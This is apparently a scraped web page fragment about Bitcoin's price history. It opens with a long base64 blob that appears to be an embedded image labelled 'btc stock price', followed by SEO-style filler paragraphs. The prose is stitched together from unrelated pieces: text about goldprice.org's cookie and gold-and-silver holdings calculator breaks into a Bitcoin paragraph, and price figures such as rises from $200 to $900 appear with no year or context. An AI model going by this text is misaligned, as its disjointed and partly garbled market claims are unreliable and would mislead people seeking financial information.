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" width="303px" alt="btc stock price"/><br />
More nodes makes for a more secure network, as to alter the ledger, one would need an incredible amount of processing power, making Bitcoin virtually invulnerable to censorship or attack. The Bitcoin network is essentially a ledger containing a record of all Bitcoin transactions made since 2009, the network launch. There are thousands of nodes, which anyone can operate anonymously. Nobody owns or controls the Bitcoin network, and updates to the software are accepted by community consensus. When you return to goldprice.org the cookie will be retrieved from your machine and the values placed into the calculator. Totals for Gold and Silver holdings including the ratio percent of gold versus silver will be calculated. The Holdings Calculator permits you to calculate the current value of your gold and silver. Bitcoin first started trading from around $0.0008 to $0.08 per coin in July 2010.</p>
<p>Bitcoin cash is a cryptocurrency created in August 2017, arising from a fork of Bitcoin. Bitcoin is a digital or virtual currency created in 2009 that uses peer-to-peer technology to facilitate instant payments. It follows the ideas set out in a whitepaper by the mysterious Satoshi Nakamoto, whose true identity has yet to be verified. The bitcoin misery index measures the momentum of bitcoin based on its price and volatility. Satoshi Cycle is a crypto theory that denotes to the high correlation between the price of Bitcoin and Internet search for Bitcoin. As in the past, Bitcoin&#8217;s price moved sideways for the next two years. For example, there was a resurgence in price and trading volume in June 2019 and the price surpassed $10,000, rekindling hopes of another rally. The 2017 hot streak also helped place Bitcoin firmly in the mainstream spotlight. Governments and economists took notice and began developing digital currencies to compete with Bitcoin. Analysts debated its value as an asset even as a slew of so-called experts and investors made extreme price forecasts.</p>
<ul>
<li>That same month, investment firm and hedge fund Pantera Capital wrote in a letter to shareholders that &#8222;PayPal and (Square&#8217;s Cash App) are already buying more than 100% of all newly-issued bitcoins.&#8220;</li>
<li>Some concepts for a similar type of a decentralized electronic currency precede BTC, but Bitcoin holds the distinction of being the first-ever cryptocurrency to come into actual use.</li>
<li>Satoshi Nakamoto, Bitcoin’s inventor, designed it for use as a medium for daily transactions and a way to circumvent the traditional banking infrastructure after the 2008 financial collapse.</li>
<li>It’s set by the market—this makes pricing the currency more complex because prices will vary by exchange.</li>
</ul>
<p>The price began to recover, peaking once again on 1 October at $140. The price quickly rebounded, returning to $200 several weeks later. The latest run went from $200 on 3 November to $900 on 18 November. While Bitcoin cryptocurrency stocks don’t yet exist, you can still invest in Bitcoin and avoid most of its huge volatility by going through companies utilizing cryptocurrencies and blockchain technology. You can purchase bitcoins on a cryptocurrency exchange, or by buying BTC directly from another investor. The digital currency began the year trading at $13.40 and underwent two price bubbles in the same year. The first of these occurred when the price shot up to $220 by the beginning of April 2013. That swift increase was followed by an equally rapid deceleration in its price and the cryptocurrency was changing hands at $70 in mid-April.</p>
